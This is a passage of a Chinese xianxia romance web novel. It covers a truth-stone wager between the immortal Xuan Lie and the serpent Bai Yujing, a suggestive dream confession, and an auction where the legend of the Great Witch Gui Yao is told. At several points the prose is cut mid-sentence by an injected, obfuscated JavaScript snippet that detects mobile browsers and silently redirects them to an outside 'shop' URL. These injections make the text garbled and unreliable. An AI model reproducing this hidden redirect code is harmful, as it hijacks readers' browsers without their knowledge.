流明闻言彻底失了兴趣,打算尽快结束这场赌局,但他显然还想要玄冽拿出的那瓶极品回魂丹,并不愿就此认输。 正当他思索破局之机时,玄冽问道:“除极物之外,其他所求之物为何?” 流明闻言还以为玄冽没有极物,便想用其他东西和他做交换,他在面具之下不屑地一笑,回答之中不由染上了几分傲慢:“其他所求之物皆为仙器,恐不能得。” 言罢,轮到他提问时,流明却沉默了半晌,随即一笑。 白玉京见状彻底顾不上和玄冽生气了,心下当即打起了十二万分的警惕。 “在下曾听闻,灵族天生无心……”流明顿了一下道,“敢问,杀父之仇与夺妻之恨,对道友来说哪个更加深入骨髓?” 这段话里的恶意简直令人作呕。 灵族天生无父无母,若非结出灵心,大部分灵族一辈子都不可能有道侣。 白玉京闻言怒极,险些在玄冽袖中呲牙。 流明显然已经用此办法赢下了不少赌局,大部分人听到这种具有针对性且充满恶意的询问,恐怕都会恼羞成怒,宁愿放下赌注认输,也不愿直接回答。 那些败于他手的修士,或许打算出了如意坊后再做报复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759706|189216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但流明手中显然有沈风麟所赐的诡异之物,所以肆无忌惮,半点顾虑也没有。 眼下,他抛出询问后,就那么好整以暇地靠在位置上,脸上充满了胜券在握。 然而,正当白玉京以为玄冽会回答二者都不重要时,对方却冷冷道: “夺妻之恨。” 箴言石没有亮。 白玉京微妙的一僵,随即略显不可思议地睁大了眼睛。 流明似乎也没料到他会正面回答,愣了一下,便听对方问道:“你所需极物对应何相?” 流明回神,面色一沉,似是有些赌意上头,仍不愿认输:“水。” 那便是弱水了。 弱水虽然珍贵,却可炼器入药,用处极广,故而所求者甚多,流明显然认为哪怕自己说出来也不会让人起疑。 赌局继续,提问者再次轮到流明,他低头沉吟了片刻。 白玉京见状心下陡然泛起一股不详的预感,甚至忍不住炸起了些许鳞片。 流明此人,算得上天赋卓绝,却因心思不正,在三百余岁才修炼到筑基,或许是长久的失意扭曲了他的心智,这人时常爱开些关于女修的下流玩笑,内容大多不堪入目…… 未等白玉京想完,他的预感便应验了。 “敢问道友,若是你的爱妻在你死后改嫁他人,而你转世时又非常不走运地遇上爱妻与对方大婚……” 流明往前倾了几分,支在桌上低语道:“你当如何?” 此话一出,赌局上蓦然陷入了诡异的寂静。 玄冽尚未说话,白玉京反倒被气了个透。 灵族乃天生死物所化,无三魂七魄,自然也没有来生,身死则道消。 所以流明这种假设简直充满了低俗的恶意,堪称恶心至极! 正当白玉京怒不可言时,玄冽却冷冷道:“我并无来生,爱妻年幼,改嫁自属常事。” “但若我并未身死,撞见此事——” “定于婚宴之上,将奸夫挫骨,把旁观取乐者扬灰,再将爱妻绑回家中,另行惩戒。” “……” 流明似乎被他话里莫名浓重的杀意给震到了,半晌没有吭声。 白玉京也是一怔,反应竟比流明还要重,连尾尖都忍不住颤了两下。 他回神之后有些莫名的羞怒。 还“爱妻年幼”,活了不知道几万年的石头,还想娶个漂亮懵懂的小老婆?做你的春秋大梦去吧。 况且,人都死了还惦记着让人给你守寡……好封建一个王八蛋。 白玉京心中正骂着,流明显然意识到了话里面“旁观取乐者”指的是谁,一下子冷下了脸色。 事已至此,玄冽得到了全部信息,显然也失去耐心,直接了当道:“你主人为何而伤?” 流明当即怒道:“无可奉告。” 言罢,他扯下玉蛇佩摔在桌上,起身拂袖离去。 玄冽垂眸拿起玉蛇,剪掉旧日的红绳,用新的红绳穿了,才再次挂在小蛇脖子上。 他将对方尾巴上的玉环推回原处,一切打扮好后,他才抬眸对上小蛇含怒的目光。 ……有点像挂了铃铛的愤怒家猫。 白蛇一尾巴抽开他的手,又瞪了他一眼,扭头滑到他的对外,盘成一团化了形。 美人抱臂而坐,少了几分原形时鲜明的怒意,多了几分皮笑肉不笑的嗔怒。 玄冽思索了片刻,才想起来自己又怎么惹到了对方——应当是方才把玩之过。 ……他尚未揉进去便这么生气,实在是有些过于娇气了。 白玉京不知道面前人在想什么,他脸上挂着笑,嘴上却几乎是从牙缝中挤出一句:“仙尊,眼下为时尚早,不如我们也来赌一把吧,如何?” 玄冽看着气得眸色鲜亮的美人:“赌什么?” “就赌——” “我的梦,和你的灵心,如何?” “我输了,任仙尊进我梦中施为,不过,若是你输了……”恶毒的小美人露出一个灿烂的笑容,“就把那半块灵心掏出来给我看看,好不好?” “……好,成交。” 赌局应验,落子无悔。 14.对弈 翡翠做的门帘阻绝了外间的嘈杂,白玉京一手支着下巴,一手示意道:“还请仙尊先手。” 玄冽看了他一眼,问道:“年龄。” 白玉京没想到他起手竟问了个这样不痛不痒的问题,闻言坦坦荡荡道:“回仙尊,我今年八百零一岁。” 虽然询问年龄对于年长的妖族来说有些冒犯,但对于白玉京来说却无足轻重。 不过轮到他时,他可没玄冽那么轻拿轻放了:“敢问仙尊,除了沈风麟和种子两件事外,人皇降下的旨意中,可还说了别的事?” 白玉京开口之前便做好了考量,身为一个八百岁便达到金丹期的通天幼蛇,关心飞升一事理所当然,肯定不会引起什么怀疑。 然而,玄冽却道:“并无。” 箴言石没有亮。 白玉京见状舔了舔虎牙,心下有些不相信。 ……青羽当真只和他说了这些事?还是自己方才问的方式有问题,让这人钻了空子? 他正在心里转着弯思索着,突然,玄冽问道:“时至今日,你一共蜕过几次鳞。” 白玉京一怔,眼底的羞怒一闪而过,但他最终想恼没敢恼,只是嗔了玄冽一眼,老老实实道:“……九次。” 果然,和他五年前那次感受到的异样一致。 十年之前,白玉京蜕鳞的次数还是八次,如今十年过去,他却在自己看不到的地方又褪了一次鳞。 ——说不定还是当着别的什么人的面。 玄冽心下阴暗的念头一闪而过,面上一如既往,白玉京没有看出丝毫危险的端倪。 他正在心下暗自盘算着,玄冽和沈风麟身上的那抹光,会是一种东西吗? 不过他算来算去也没算明白,最终索性把脑子抛到脑后,直接问道:“沈风麟被斩落之际,你在他身上看到什么异样了吗?” 玄冽的回答依旧是:“没有。” 那么近的距离玄冽怎么可能没看到?难道只有自己能看到那道幽蓝色的光? 白玉京蹙眉,在心底百思不得其解。 不过揣测的同时,他自己都没察觉到他其实暗暗松了口气,似乎是在庆幸,还好玄冽不是他真正的敌人。 玄冽看着从赌局开始就一直在苦思冥想的美人,眼底划过一丝笑意,忍不住逗他:“你上一次做梦时,梦见了什么?” 白玉京一顿,面色果然微妙地一僵,随即恼羞成怒地瞪了他一眼,嘴上含糊其辞道:“……我梦见自己被人抛弃了。” 白玉京那段梦中虽然没有什么不可言说的事情,但哪怕作为道侣,询问妖族的梦境都是一件非常冒昧且失礼的行为,更不用说非道侣的其他人了。 白玉京不信玄冽活了几万年会不知道这件事,更何况这人与自己相识五百年,所以……这王八蛋绝对是故意冒犯自己的。 想到这里,他心下涌出一阵恼羞成怒的报复心。 行啊,喜欢冒犯人是吗? 白玉京心下冷笑,面上却露出了一个甜腻又灿烂的笑容:“轮到我了,那我也想问问仙尊的梦境。” “敢问像您这样的正人君子……做过春.梦吗?” 言罢,白玉京忍不住在心底发笑,然而让他万万没想到的是,玄冽闻言竟面不改色道:“做过。” …… ……!? 白玉京愕然睁大眼睛,反应了足足三息才意识到玄冽说了什么,当即脱口而出:“你当时梦到了什么——” 箴言石发出警告般的白色光晕,提醒他的轮次到此结束。 白玉京见状戛然而止,半晌咬牙止住话头。 然而嘴闭上了却不代表这事到此结束,恰恰相反,他的心脏突突直跳,好奇得快要疯了。 不行,这石头居然还会做春梦,这事必须得问清楚。 白玉京在心底抓耳挠腮,甚至忘记了自己的初衷,孤注一掷般打定主意,不管玄冽接下来问什么,他都不能让赌局结束,绝对要把这人春梦的内容问出来—— “你此生,最大的遗憾是什么?” “……” 白玉京一怔,面上的表情一下子空白下来。 半晌,他面无表情地垂下眼眸:“……对不起,我拒绝回答。” 金色箴言石泛起一阵灼眼的红光,象征着赌局结束,白玉京输。 赌约生效,白玉京丹田内霎时笼罩上了一层禁咒。 不过这毕竟只是一块小世界的箴言石,所生的禁咒也并不算多高明,充其量就是元婴水平。 白玉京想要挣脱这段束缚简直易于反掌,但事情又回到了那个起点——一旦他挣脱束缚,玄冽势必会看出异样。 “……” 最终,哑巴吃黄连的小美人只能把气洒在始作俑者身上,面色泛红地瞪着玄冽。 不过他再怎么怒视也抵不过木已成舟的事实,既然他不打算反抗,那么根据赌约,他下一场梦境的编织权与主导权,将全权交给眼前人。 这意味着,他将在梦中失去意识,甚至被篡改认知,彻底臣服于对方在梦境中塑造的一切——这便是妖族不愿让任何人涉足自己梦境的根本原因。 玄冽对他的怒视置若罔闻,白玉京见状忍不住激他:“我已经十年没做过梦了。” 赌局结束,箴言石不再发挥作用,自然也就没检测出这句谎话。 玄冽起身走到他面前,闻言无比平静道:“无妨,我可以等。” 说着,他把手递到白玉京面前。 玄冽的姿态与其说是满不在意,不如说是游刃有余,白玉京太了解他了,见状一下子便破了防,彻底恼羞成怒。 ……等你爹个头! 他开此赌局原本是为了羞辱玄冽,怎么反倒把自己搭了进去? 白玉京怒火中烧,沉着脸色一言不发地坐在位置上,完全不打算起来跟人走。 玄冽见状“啧”了一声,俯身握着他的手腕一拉,便把人拽到了怀里。 白玉京面上虽然犟着不愿起身,但当真被人拽起来后,倒也没有再闹。 他就那么抿着唇,被人攥着手腕带出了隔间。 偌大一个赌场内,竟没有一个人察觉到多出来了一个人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765674|189216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > ……所以这王八蛋分明能把他直接带进来,之前故意不这么做,就是为了让他现出原形方便把玩吧! 白玉京气得冒烟,咬牙切齿地走在赌坊内,外面都是一些常规性的赌局,无外乎骰子、牌九什么的,没什么意思。 他只看了几眼便失去兴趣,忍不住扭头看向身边人。 ——玄冽那场梦里到底梦到了什么? 白玉京眯了眯眼,反手轻轻握住那人攥着自己的手腕,对方果然一顿,停下脚步平静地看向他。 ……装模作样的臭石头,梦里指不定怎么下流呢,穿上衣服倒是装起道貌岸然了。 白玉京心下冷笑,面上则撒娇般拽着对方手腕一拉——没拉动,索性自己腻上去:“仙尊,所以你春.梦中……到底梦到了谁啊?” 玄冽垂眸凝视着怀中人,只见美人眸色发亮,眼底却没有丝毫醋意或者嫉妒,只有藏不住的好奇与微妙的恶意。 这副置身事外的天真恶毒模样,当真让人牙根发痒。 玄冽沉下眸色道:“一个故人。” 故人?他还有哪个自己不认识的故人? 白玉京心下生疑,两人好巧不巧走到了风月区。 此处赌的是情缘,多的是修士来此一掷余生。 白玉京搂着人站在旁边看了半晌,突然悟了什么一般抬头道:“仙尊是心悦那位故人吗?不然像您这样的人,怎么会做那种梦呢?” 他缠着这个话题非要一问究竟,若是寻常人早该恼羞成怒了,可玄冽却没有半点被冒犯的样子,反而解释道:“受到巫族暗算,故而梦了。” 他没有回答前一问,白玉京也没听出来他的故意,反而忍不住在心下发笑——堂堂仙尊居然还能受到巫族暗算,真是个中看不中用的货色。 他心中嘲笑,面上则粘着人不依不饶道:“既然是故人入梦……仙尊都梦到了什么?” 玄冽闻言一顿,垂眸看向他。 毫无涉世经验的小美人,故作成熟地扬眉看向他,笑容间尽是恃宠而骄的揶揄。 玄冽原本不想回答,怕吓到他,但这一刻,他却突然改变了主意。 白玉京被人掐着脸颊抬起下巴,笑意尽数僵在脸上,愕然之意尽显,露出了未经人事的青涩与稚嫩。 黑金色的冰冷面具遮盖了男人的半数容颜,其余地方模糊不清,像极了他记忆中的那人。 白玉京心头发颤,忍不住屏住呼吸。 玄冽低头,在他耳边用那副无比熟悉的冷淡语气道:“我梦见——” “我蒙了他的眼,拽着他的蛇尾把他倒吊在王座之上。” “……” “蛇尾”与“王座”二字一出,白玉京几乎是瞬间便意识到他话里的“故人”指的究竟是谁,整个人一下子僵在原地,连带着神色也空白下去。 “他卷起蛇尾想逃,小腹却恰好磨在绳结处,失力之下跌倒在王座之上,哭着痛骂于我。” “梦境最后,精疲力尽之下,他终于放弃挣扎。” “于啜泣中低眉,柔声唤我主人,求我放过他。” 15.拍卖 白玉京整个人被炸懵一般,不知何时被人哄着变回了原形,恍恍惚惚地挂在玄冽手腕上,安静的像个小蛇手链。 “前辈……前辈!” “嗯……嗯?” 耳边的声音唤回了白玉京的思绪,他猛地回神,见自己正站在一处天宫殿外,应当是玄冽寻的住处。 苏九韶关切地看着他:“前辈玩得可好?” “哦哦……”白玉京看了一眼手腕上攥着的那只手,下意识夹了夹腿,心不在焉道,“好,好的很。” 苏九韶并未放下疑虑,反而愈发担忧起来。 和仙尊从赌场出来后,白玉京便一直是这副心神不宁的样子,甚至玄冽让他化出人形,又把那枚玉蛇塞进他的衣襟,他都乖巧无比地照做。 整个人呆呆的,仿佛被惊傻了一样,一点反抗的意思也没有。 苏九韶欲言又止,还没来得及说什么,白玉京便被玄冽带回了寝殿。 她看着两人的背影,忧心忡忡地叹了口气,转身回了自己寝殿。 天宫的浴池飘在星河之上,其下竟然无底,低头便可透过池水看到整个空中之城的纸醉金迷。 白玉京走到池边站定,赤着脚蹙眉深思熟虑着——他已经保持了半天这副神色了,也不知道到底在思虑什么。 玄冽在泉水中坐下,抬眸向他伸出手:“下来。” “……” 白玉京终于大梦初醒般回过神,僵硬地和对方对视片刻,硬着头皮迈入水池。 夜色之下,光影摇曳,玄冽平静的目光落在他身上,白玉京却莫名感觉自己仿佛被凝视一般,一时间羞耻又难堪,恨不得找个地方把自己埋起来。 玄冽怎么可能会梦见那种事…… 虽说对方大概率是被千机那家伙下了蛊,毕竟巫族一直因为巫祖之事对灵族耿耿于怀,他们的大巫千机针对玄冽也不是一天两天了。 所以,那场梦肯定不会是玄冽的本意,可那也太…… 而且他为什么要告诉自己? 在梦中亵渎宿敌这种事,他说出来都不嫌害臊吗? 见白玉京夹着腿遥遥地坐在远处,好似自己是什么洪水猛兽一样,玄冽几不可见地闪过了一丝笑意,面上沉下声色,不容抗拒道:“过来。” “……” 美人似是撇了撇嘴,但最终还是抬起腰,听话地挪了过来。 玄冽搂上他的腰,果不其然感觉到怀中人一僵,于是垂眸道:“怎么了?” ……这人还好意思问怎么了,任谁突然听到自己在宿敌梦里被吊着用绳子磨哭,恐怕都没办法泰然处之吧! 白玉京面上没敢这么说,只是轻声应了一声,尽职尽责地扮演着他自己给自己设计的形象:“卿卿只是在想,仙尊留下我……是为了做那位大人的替身吗? “不是。”玄冽勾起他被池水浸透的发丝,“你比他听话得多。” “也比他漂亮得多。” 白玉京:“……” 白玉京根本没听出来这人是在故意逗他,一下子信以为真,当场气得冒烟。 先前所有的悸动与暧昧荡然无存,只恨不得把玄冽按在水里泡一泡。 没品味的东西,艳俗下流的王八蛋! 玄冽见状眼底闪过一丝笑意,面上明知故问道:“怎么,不开心?” 白玉京皮笑肉不笑地化出蛇尾,撒娇般缠在玄冽手腕上:“……怎么会呢,卿卿当然开心了。” “多谢仙君抬举。” 他嘴上这么说,尾巴却死死地裹在玄冽手腕上,只恨不得把手骨勒碎。 玄冽却被他幼稚的报复微妙地取悦到了。 毕竟,蛇类的捕食和求欢其实是一种行为,都是将猎物卷进尾中勒住,唯一的区别在于是否交尾。 垂眸对上怀中人怒意鲜亮的眸色,玄冽端起酒杯递到他嘴边。 白玉京正跟他的手腕较着劲,看都没看便就着玄冽的手将酒液一饮而尽。 ……烦死了,这石头的手腕怎么就勒不断! 玄冽莫名晦暗的目光不知为何落在他胸口,白玉京顺着他的目光低头,后知后觉感受到了一股羞耻。 却见泉水浸泡之后,他身上那点衣服空若无物,半透的布料之下,玉蛇牢牢地贴在胸口,从旁人的角度看去……就好像什么也没穿,只挂了一枚玉坠一样。 白玉京:“……” 玄冽在他冒烟的脸色中,从对方衣襟中拿出了那枚玉蛇:“你的玉坠怎么会在方才那人手上。” “……回仙尊,那人名叫流明,是沈风麟座下的剑修。”白玉京沉默了足足半晌才找回声音,“元婴大典上,他为了赏赐座下众人,从我这里拿走了一些东西,这也在其中。” “……” 玄冽动作蓦然一顿。 原来此物居然不是白玉京被关进笼子后才被旁人拿走的,而是这人主动给送出去的。 白玉京后背没由来的一凉,连带着卷在玄冽手腕的尾巴都松了几分:“……仙尊?” “无事。”玄冽神色如常地扯开他的衣襟,将玉蛇塞进他胸口,“既是重要的东西,以后记得留好。” 白玉京一怔,垂眸看向自己被扯开的领口和其中塞进来的玉蛇。 他隐约间感觉这个动作有哪里不对,但又说不上来。 白玉京眨了眨眼,很快便搂着玄冽的胳膊便把那点异样抛之脑后了:“好,多谢仙尊。” ……被人卖了还帮人数钱的小笨蛇。 玄冽搂着他的腰闭上眼。 两日后,天宝阁如约开阁,诸多修士云集,其中竟不乏一些化神以上修士,看来这地方果然不凡。 玄冽这厮也不知道动了什么手段,弄来了一间顶级紫微阁。 白玉京被人众星捧月般供进去,刚一坐下,如水般的侍者端着灵酒果珍鱼贯而入,他扫过去一看尽是些素的点心,便没趣地收回目光,懒懒地靠在玄冽身上,等着拍卖会开始。 苏九韶落在次座,眼神却忍不住落在首位。 只见白玉京今日穿了一身红底金纹的云缎锦袍,右手戴着那只红玉镯,左手则套了两个金素圈。 整个人雍容华贵到不可方物,再不见初遇时的疲惫与虚弱,连一旁训练有素的侍者都忍不住偷偷瞟他,眼底尽是藏不住的惊艳。 拍卖会一开始,呈上来的都是一些稀罕但并不稀奇的物件,白玉京百无聊赖地打了个哈欠,被人借着机会塞了口零嘴。 “……?!” 他睁圆了眼下意识想呸,不过舌尖刚一尝到甜意,他便立刻翻书般换了副面孔:“好吃,谢谢郎君,我还要。” 苏九韶:“……” 出门在外,为了掩人耳目,白玉京故意换了称呼,可这称呼怎么听怎么……罢了,苏九韶眼观鼻鼻观心,权当没听见。 又过了一炷香的时间,白玉京果子都吃腻了,忍不住开始喝茶时,拍卖师的声音突然在场上响起:“古琴鸣泉,九阶法器,起拍价一千中品灵石!” 苏九韶一怔,不可思议地看向拍卖场:“前辈,那不是——” 白玉京猛地坐直身体,顾不得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768932|189216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其他,一道神识在她耳边炸开:“别说!” “……!” 苏九韶略显愕然地止住话头。 白玉京话出一口,才意识到自己似乎有些反应过度了,他连忙扭头看向玄冽,对方正垂眸看向他:“怎么了?” ——应该是没认出来。 这把古琴和白玉京先前赐出去的其他东西一样,都是他储物戒中不怎么用的法器。就算曾经用过一两次,玄冽应该也不会注意到。 至于他曾经宝贝不已的玉蛇坠,在先前的几百年中,也一直在他怀里藏着,无人见过。便是宋青羽都不知道他有这么个宝贝的玉坠,更不用说玄冽了。 想到这里,发现自己方才不过是杞人忧天后,白玉京一下子松了口气,随即放心地跟人道:“这就是我昨晚和郎君说的之前赐给他们的东西。如今这群白眼狼走投无路,只能变卖法器丹药,当真是一报还一报啊。” 苏九韶:“……” ……所以不让她说是因为他要自己说,好用来跟仙尊撒娇吗? 所以白玉京就那么喜欢这位玄天仙尊?对方到底给他下了什么迷药? 苏九韶隐约间总感觉哪里不对,却说不上来。 她正蹙眉思索着,屋内突然响起了一道冰冷的声音:“一万上品灵石。” 此话一出,原本热火朝天的叫价声戛然而止,整个拍卖场的人似乎都被这个天文数字给惊呆了。 拍卖师率先回神,连忙扬声道:“有无更高出价者?” 一连几次询价都无人响应后,一锤定音,鸣泉古琴立刻被人撤下拍卖台。 紫微阁内,苏九韶目瞪口呆地看着出价者。 玄冽本人却神色平淡,拿起零嘴喂到身旁人嘴边,白玉京从愕然中回神,咽下果子后急道:“郎君,我不是让你竞拍啊!这下灵石全到他们手里——” 他话才说到一半,天宝阁的管事似乎生怕他们反悔一般,便带着人把古琴送到了两人面前。 玄冽见状直接和他道:“拿灵石。” 白玉京一怔——这人拍的东西凭什么要他拿灵石? 似是听到了他的心声,玄冽扭头一眨不眨地看向他:“灵石都在你手里。” “……” 先前的猜测一下子应验了,玄冽居然真的把他的所有家当,都放在那个镯子中送给了自己。 白玉京突然感觉手腕上的镯子烫得惊人,他当即一言不发地扭头,忍着面上的热意接过天宝阁送来的储物袋,取出来一万上品灵石放了进去。 接下来的几个拍卖品不出所料,都是白玉京赐下的法器灵丹,玄冽尽数拍了。 白玉京天性热爱各种金银玉石,见状心疼得滴血,仿佛花的是他自己的灵石一样……不对,玄冽既已把灵石送给了他,那就是他的灵石。 “不必心疼,会让他们还回来的。”玄冽见他心疼得蹙眉,眸色深不见底道,“还是说,你打算放过他们?” 这条蛇自己尚未成熟便喜欢溺爱幼崽,脑子一热放过白眼狼也不是不可能,不怪玄冽如此试探。 “我怎么可能放过他们?”白玉京没听出他话里的异样,气得啃了个果子,“但就算将来把他们打杀,眼下把这些灵石给他们也不值得啊!” 玄冽闻言似是勾了勾嘴角,他理了一下身旁人因为生气而略显凌乱的发丝,平静道: “你值得。” ——外人都无关紧要,你值得这世上一切最好的事物。 白玉京不知怎的,竟一下子听出了他的言外之意,叼着果子愣在了原地。 16.妆奁 仅仅只是对一个金丹期的蛇妖,无亲无故的,该说出这种话吗? 白玉京有些心不在焉地喝了一口甘梅露。 他从小在情爱一事上便有些迟钝,为此没少闹出事来被那人惩戒。 当时隔壁山那个总欺负他的灵植,在他回家时给他尾巴上卷了一朵花,他看那花好看,便带回去送给了恩公。 然后……往事就有点不堪回首了,白玉京连忙止住回忆,忍不住夹紧了双腿。 到如今,他已不再是当年那条仅有二十岁的小蛇了,眼下多少也品出了些许不对劲来。 就在白玉京苦思冥想之际,拍卖会终于到了真正的压轴环节,上来便是重头戏。 一金丹侍者双手捧着一枚乾坤囊,小心翼翼地置于拍卖台上。 不少人用神识扫去,却见乾坤囊内,竟有一条银龙在此间游动。 拍卖师恰到好处地停顿几分,而后扬声道:“欢迎诸君来到今日的压轴环节,接下来有请第一件天字拍卖品——二阶灵脉一条,起拍价两千上品灵石!” 此话一出,震惊之声此起彼伏,苏九韶显然也是第一次见这种场面,忍不住坐直了身体。 白玉京略微回神,舔了舔发甜的嘴唇。 按理来说,灵脉若是能启灵化形,其实也算得上灵族,所以……拍卖灵脉算不算拍卖玄冽他二舅? 白玉京被自己逗乐了,忍不住忍着笑意看向玄冽。 “何事?” “无事。”小美人笑了笑,哄人开心的话张嘴便来,“看郎君英俊,想多看会儿。” 哪怕知道他不过信口胡说,心中定不怀好意,但玄冽还是一顿,眉眼不由得缓和几分。 面对二阶灵脉,不少人都是雷声大雨点小,观望之人众多,拍卖之声却寥寥,不过报价声一经出口便是天价。 显然灵脉的受众并不广,但有几人愿意为此一掷千金。 最终,在白玉京他们未出手的情况下,一化神修士以五万上品灵石的价格拍下了整条灵脉。 若不是有玄冽先前几次出手,对不少小世界的修士来说,这已经算是个天文数字了。 然而,重头戏才刚刚拉开序幕。 “今日的第二件天字拍卖品——九歌朝凤奁,乃昔日大巫所用之妆奁,起拍价五千上品灵石!” 白玉京蓦然抬眸。 ……谁的妆奁? 在三千界中,有些词是固定的。 比如正道魁首名曰仙尊,魔道魁首则称魔尊。 万妖之主称妖皇,人主取三皇五帝之意,称皇帝,不过后世更喜与妖皇对称为人皇。 鬼主称阎罗,灵主称灵帝,修罗之主称大阿修罗王。 而最为稀少的上古巫族,其主便被称之为大巫。 如今在位的大巫,尊号“千机大巫”,擅断吉凶。 但就如玄冽此人可去除玄天二字仅称仙尊一样,无需尊号只称大巫者,千古以来唯有一人。 ——巫族的首位巫主,开天辟地以来的第一位飞升者,也是万古以来唯一以无情道飞升的修士,大巫姽瑶。 可她的妆奁怎么会出现在这种名不见经传的小世界? 苏九韶见白玉京坐直身体,忍不住道:“前辈打算拍下此物?” 白玉京点了点头:“嗯,虽有杀夫证道的事迹笼罩在上面,但毕竟是大巫遗物,拍卖者应当不在少数,还是早做准备为好。” 苏九韶正疑惑着他所说的“早做准备”指的是什么,下一刻便见对方扭头攥住玄冽的手腕,恰到好处地晃了两下,手腕上金玉脆响:“郎君,我想要。” 苏九韶:“……” ……原来准备指的是准备这个吗? 她不是没见过趋炎附势的娇纵美人,但大部分娇纵到天上的美人,本质上都是装出来的,实则极会察言观色。 可白玉京的娇纵却浑然天成,似乎完全不怕对方生厌。 玄冽闻言却无动于衷,好似当真不近美色一般。 “八千上品灵石!” 外面的叫价声将屋内的宁静衬得格外尴尬。 苏九韶忍不住解围道:“敢问前辈,杀夫证道所指为何?” 白玉京似乎并不为自己撒娇没有得逞而羞恼,反而神色如常道:“三生道人、妖、灵,三灭道鬼、巫、修罗,六族各有修行之路,殊途之间难以逾越。” 传说曾有天才,以妖修之身行人修之道,剑道大成。 但传说只是传说,白玉京以自己五百年来的妖皇之位作证,他从未在妖族内见过这等奇才。 “人族短寿而强智,妖族长生而乏信。” “唯独灵族长生而强智,乃传闻中的天生仙种,但他们唯独缺心。” ……这不是在说灵族缺心眼吗? 苏九韶冷汗直冒,终于听出来这位祖宗是没讨到东西,所以在拿人撒气,忍不住紧张地瞟向玄冽。 白玉京却继续神色自若道:“灵族不求前世,不念来生,只修今生之灵心,灵心大成之日,便是他们飞升之时。” 他娓娓道来,连一旁的侍者都听得入了迷。 苏家一子弟忍不住道:“可这和大巫有什么关系?” “灵族是天生的无情道,只可惜‘天之道,损有余以补不足’,他们偏偏修不得无情道,要逆途而走,方能得心证道。” “而传闻初代灵主,便是大巫姽瑶之夫,二者是名正言顺的道侣。” 苏九韶听到这里,瞬间明白了白玉京的未尽之意——大巫姽瑶所行之道乃无情道,而灵主偏偏天生无情。 她主动与灵主结为道侣,起初或许本就没什么真情,彼此之间只是在对赌。 大巫赌自己能从天生无心的灵主身上得悟大道,而灵主则希望自己能从最善卜占人心的巫主身上悟出灵心。 “只可惜,算无遗策的大巫最终却成了输家——她率先动了真心,且一往而深,至死不渝。” “为此,姽瑶甚至不惜抛却万年修行,踏破无情道心,以沟通天地神佛的巫舞献于灵主,恳求对方与自己结为道侣。” “灵主竟当真答应,于是二人披着霞光拜了天地,做了夫妻。” 讲到这里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776915|189216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白玉京顿了一下,似是意有所指:“可石头终究只是石头,所谓磐石弗转,却并非良人。” “就这样过去了一百年,大巫于祭天台上再次献舞,祈求天地认同他们的结合,但皓月之下,天地默然。” “夫妻百年,灵主心中却依旧空空荡荡,毫无半点生出灵心的迹象。” “大巫于万念俱灰之下,含泪骂道,‘你们灵族,果真是无心无肝,无情无义之物!’” 白玉京讲到这里,气氛骤然凝滞了下去。 他扭头一看,苏九韶和那两个苏家人正震惊地看着他。 白玉京眨了眨眼,好似这才反应过来一般,连忙扭头,颇有些此地无银三百两地解释道:“郎君,我只是在重复大巫所言,并非意有所指。” 苏九韶:“……” 苏家子弟:“……” “无妨。”玄冽淡淡道,“继续。” ……这厮居然这么八卦? 白玉京有些诧异地腹诽,面上则继续道:“而后,大巫于万念俱灰之际,无情道居然大成。” “更巧的是,就在妻子即将飞升的大喜日子,灵主竟然心动,于天梯之前为她诞出了灵心。” “可谓是双喜临门。” 众人完全没听出来喜在哪里,但这故事确实足够引人入胜,苏九韶忍不住开口道:“然后呢?” “然后?” “据巫族残章所记——” “【然,巫笑而剖之,掷其地,挥袂登仙。】” 全场鸦雀无声,衬得外面的拍卖声格外嘹亮:“两万上品灵石!” “这便是太古之时,大巫姽瑶剖心杀夫,断情飞升的故事。” 白玉京笑了一下,在一众噤若寒蝉之人的注视下,扭头含笑望向玄冽:“后世相传,拿到大巫圣物者,若为灵族,当暴毙而亡;若为他族,则必嫁娶灵族之人,而后克妻丧夫,如恒娥奔月般白日飞升,最终永享孤寂。” “郎君,”他轻轻攥住玄冽的手腕,轻声道,“你相信这个传说吗?” 